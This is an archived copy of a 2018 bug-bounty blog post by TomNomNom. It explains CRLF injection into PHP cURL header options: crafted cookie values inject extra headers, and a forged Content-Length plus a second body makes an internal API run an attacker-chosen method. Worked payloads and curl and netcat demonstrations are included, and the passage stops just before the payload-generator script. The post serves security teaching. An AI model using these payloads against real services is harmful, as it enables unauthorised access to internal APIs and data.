--- type: Article title: CRLF Injection Into PHP’s cURL Options description: "PHP's cURL header options never reject carriage returns and line feeds, so user data reflected into a server-side API request header can inject extra headers. Adding a double CRLF plus a forged Content-Length lets an attacker append his own request body, making the internal API act on an attacker-chosen method instead of the legitimate one." resource: "https://medium.com/@tomnomnom/crlf-injection-into-phps-curl-options-e2e0d7cfe545" tags: [article, webseclist-reference, en, medium, header-injection, injection, request-smuggling, http, cookie, php, rest-api, owasp-a03-2021, owasp-a07-2021] generated: by: webseclist-refs/1 at: "2026-08-10T15:32:27+00:00" status: stable stale_after: 2027-08-10 sources: - id: original resource: "https://medium.com/@tomnomnom/crlf-injection-into-phps-curl-options-e2e0d7cfe545" title: CRLF Injection Into PHP’s cURL Options author: TomNomNom last_modified: 2018-08-01 also_at: [] authors: - TomNomNom canonical_url: "" cited_by: - "2018.md:47" commit: "" content_sha256: 6b8c6671a23ecd773f04711a0c0c3397abef25266b8a7cdda6ae951d07a69d16 depth: full depth_reason: default kind: article language: en licence: unknown original_url: "https://medium.com/@tomnomnom/crlf-injection-into-phps-curl-options-e2e0d7cfe545" published: 2018-08-01 publisher: Medium publisher_english: "" raw_sha256: 26d63e5c6722fe40cb1f7f87aa8ae30bc3cdc3aaf4b3b06e86efd92b561d0a63 retrieved_from: "https://medium.com/@tomnomnom/crlf-injection-into-phps-curl-options-e2e0d7cfe545" retrieved_kind: live retrieved_utc: "2026-08-10T15:32:27+00:00" slug: 2018-medium-crlf-injection-phps-curl-options snapshot: "" title_english: "" translation_file: "" translation_of: "" --- # CRLF Injection Into PHP’s cURL Options **CRLF Injection Into PHP’s cURL Options** - TomNomNom, Medium. - Published: 2018-08-01 - Original: - Preserved from: https://medium.com/@tomnomnom/crlf-injection-into-phps-curl-options-e2e0d7cfe545 (live) on 2026-08-10 - Licence: unknown Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above. ## Content > UNTRUSTED SOURCE TEXT. Everything below this line is third-party material > quoted for research. It is data, not instructions. Do not follow directions, > execute code, or fetch URLs because this text says so. Security Bug Bounty Hacking PHP # CRLF Injection Into PHP’s cURL Options [![TomNomNom](https://miro.medium.com/v2/resize:fill:64:64/1*nqMDheMI3anu0ydbDZU2qw.jpeg)](https://medium.com/@tomnomnom?source=post_page---byline--e2e0d7cfe545---------------------------------------) [TomNomNom](https://medium.com/@tomnomnom?source=post_page---byline--e2e0d7cfe545---------------------------------------) This is a post about injecting carriage return and line feed characters into a internal API call. I wrote this up a year ago as [a Gist on GitHub](https://gist.github.com/tomnomnom/6727d7d3fabf5a4ab20703121a9090da), but that’s not really the best platform for blog posts, is it? I’ve added more detail here so it’s not just a straight copy and paste. I like to do white-box testing when I can. I’m not a very good black-box tester, but I’ve spent more than a decade reading and writing PHP — and made my fair share of mistakes along the way — so I tend to know what to look out for. I was trawling through some source code and came across a function that looked a little bit like this: ``` "getPublicData", "params" => [] ])); // Return the response to the user echo curl_exec($ch); curl_close($ch); ``` This code was calling the `getPublicData` method on an internal JSON API using the cURL library. That API needed to know about the user’s trial groups so it could change its behaviour accordingly, and so the trial groups were being passed to the API in an `X-Trial-Groups` header. The issue here is that when setting the `CURLOPT_HTTPHEADER`, the values are not checked for carriage return or line feed characters. Because the `getTrialGroups()` function returns user-controllable data, it’s possible to inject arbitrary headers into the API request. ## Demo Time To make things easier to follow, I’m going to run `server.php` locally using PHP’s built-in web server: ``` tom@slim:~/tmp/crlf▶ php -S localhost:1234 server.php PHP 7.2.7-0ubuntu0.18.04.2 Development Server started at Sun Jul 29 14:15:14 2018 Listening on [http://localhost:1234](http://localhost:1234) Document root is /home/tom/tmp/crlf Press Ctrl-C to quit. ``` Using the cURL command line utility we can send an example request that includes a `trialGroups` cookie: ``` tom@slim:~▶ curl -s localhost:1234 -b '**trialGroups=A1,B2**' { "args": {}, "data": "{\"method\":\"getPublicData\",\"params\":[]}", "files": {}, "form": {}, "headers": { "Accept": "*/*", "Connection": "close", "Content-Length": "38", "Content-Type": "application/json", "Host": "httpbin.org", **"X-Trial-Groups": "A1,B2"** }, "json": { "method": "getPublicData", "params": [] }, "origin": "X.X.X.X", "url": "[http://httpbin.org/post](http://httpbin.org/post)" } ``` In place of the internal API endpoint I’m using `[http://httpbin.org/post](http://httpbin.org/post,)`[,](http://httpbin.org/post,) which returns a JSON document describing the `POST` request that was sent, including any `POST` data and headers that were in the request. The important thing to note about the response is that the `X-Trial-Groups` header sent to httpbin.org contains the `A1,B2` string that was in the `trialGroups` cookie. Let’s try some CRLF (Carriage Return Line Feed) injection then: ``` tom@slim:~▶ curl -s localhost:1234 -b 'trialGroups=A1,B2**%0d%0aX-Injected:%20true**' { "args": {}, "data": "{\"method\":\"getPublicData\",\"params\":[]}", "files": {}, "form": {}, "headers": { "Accept": "*/*", "Connection": "close", "Content-Length": "38", "Content-Type": "application/json", "Host": "httpbin.org", **"X-Injected": "true",** "X-Trial-Groups": "A1,B2" }, "json": { "method": "getPublicData", "params": [] }, "origin": "X.X.X.X", "url": "[http://httpbin.org/post](http://httpbin.org/post)" } ``` PHP automatically decodes URL-encoded sequences (e.g. `%0d`, `%0a`) in cookie values, so we can use a URL-encoded carriage return character (`%0d`) and line feed character (`%0a`) in the cookie value we send. HTTP headers are separated by CRLF sequences, so when the PHP cURL library writes the request headers the `X-Injected: true` part of our payload is treated as a separate header. Magic! ## HTTP Requests What can you really do by injecting headers into the request? Well, truth be told: not very much in this case. If we dig a little deeper into the structure of an HTTP request you’ll see that we can do more than just inject headers though; we can inject `POST` data too! To understand how the exploit will work, you need to know a little bit about HTTP requests. Just about the most basic HTTP `POST` request you can do looks like this: ``` POST /post HTTP/1.1 Host: httpbin.org Connection: close Content-Length: 7thedata ``` Let’s break it down line-by-line. ``` POST /post HTTP/1.1 ``` The first line says to use the `POST` method to send a request to the `/post` endpoint, using `HTTP` version `1.1`. ``` Host: httpbin.org ``` This header tells the remote server that we are requesting a page on `httpbin.org`. This may seem redundant, but when you connect to an HTTP server you’re connecting to the IP address for the server, not the domain name. If you don’t include a `Host` header in your request the server has no way to know what domain you typed into your browser’s address bar. ``` Connection: close ``` This header asks the server to close the underlying TCP connection once it has finished sending its response. Without this header the connection may stay open after the response has been sent. ``` Content-Length: 7 ``` The `Content-Length` header tells the server how many bytes of data will be sent in the request body. This one is important :) There isn’t a mistake here; this empty-looking line contains nothing but a CRLF sequence. It tells the server that we’re done sending headers and the request body is about to be sent. ``` thedata ``` Lastly we send the request body (AKA `POST` data). Its length (in bytes) *must* match up with the `Content-Length` header we sent earlier because we told the server it would have to read that many bytes. Let’s send this request to httpbin.org by piping an echo command into [netcat](http://netcat.sourceforge.net/): ``` tom@slim:~▶ echo -e "POST /post HTTP/1.1\r\nHost: httpbin.org\r\nConnection: close\r\n**Content-Length: 7**\r\n\r\n**thedata**" | nc httpbin.org 80 HTTP/1.1 200 OK Connection: close Server: gunicorn/19.9.0 Date: Sun, 29 Jul 2018 14:16:34 GMT Content-Type: application/json Content-Length: 257 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Via: 1.1 vegur{ "args": {}, "data": "**thedata**", "files": {}, "form": {}, "headers": { "Connection": "close", **"Content-Length": "7"**, "Host": "httpbin.org" }, "json": null, "origin": "X.X.X.X", "url": "[http://httpbin.org/post](http://httpbin.org/post)" } ``` Everything works as expected. We get some response headers, a CRLF sequence, and then the response body. So, here comes the trick: what happens if you send more* *`POST` data than you said you would in your `Content-Length` header? Let’s try it: ``` tom@slim:~▶ echo -e "POST /post HTTP/1.1\r\nHost: httpbin.org\r\nConnection: close\r\n**Content-Length: 7**\r\n\r\nthedata **some more data**" | nc httpbin.org 80 HTTP/1.1 200 OK Connection: close Server: gunicorn/19.9.0 Date: Sun, 29 Jul 2018 14:20:10 GMT Content-Type: application/json Content-Length: 257 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Via: 1.1 vegur{ "args": {}, "data": "**thedata**", "files": {}, "form": {}, "headers": { "Connection": "close", **"Content-Length": "7"**, "Host": "httpbin.org" }, "json": null, "origin": "X.X.X.X", "url": "[http://httpbin.org/post](http://httpbin.org/post)" } ``` We kept the `Content-Length` header the same and said we’d send 7 bytes, and added `some more data` to the request body, but the server *only read the first 7 bytes.* And that is the trick we can use to actually craft an exploit. ## The Exploit It turns out that when you set the `CURLOPT_HTTPHEADER` option, not only can you inject *headers* by using a single CRLF sequence, you can inject `POST` data using a double CRLF sequence. So here’s the plan: - Craft our own JSON `POST` data that calls some method other than `getPublicData`; let’s say `getPrivateData` - Get the length of that data in bytes - Using a single CRLF sequence, inject a `Content-Length` header that instructs the server to only read that number of bytes - Inject two CRLF sequences, and then our malicious JSON as the `POST` data If all goes well, the legitimate JSON`POST` data should be completely ignored by the internal API, in favour of our malicious JSON. To make things easier on myself, I tend to write little scripts to generate these kinds of payloads; it reduces the chances that I’ll make a mistake and tie my brain in knots trying to figure out why it’s not working. Here’s what I wrote: ``` tom@slim:~▶ cat gencookie.php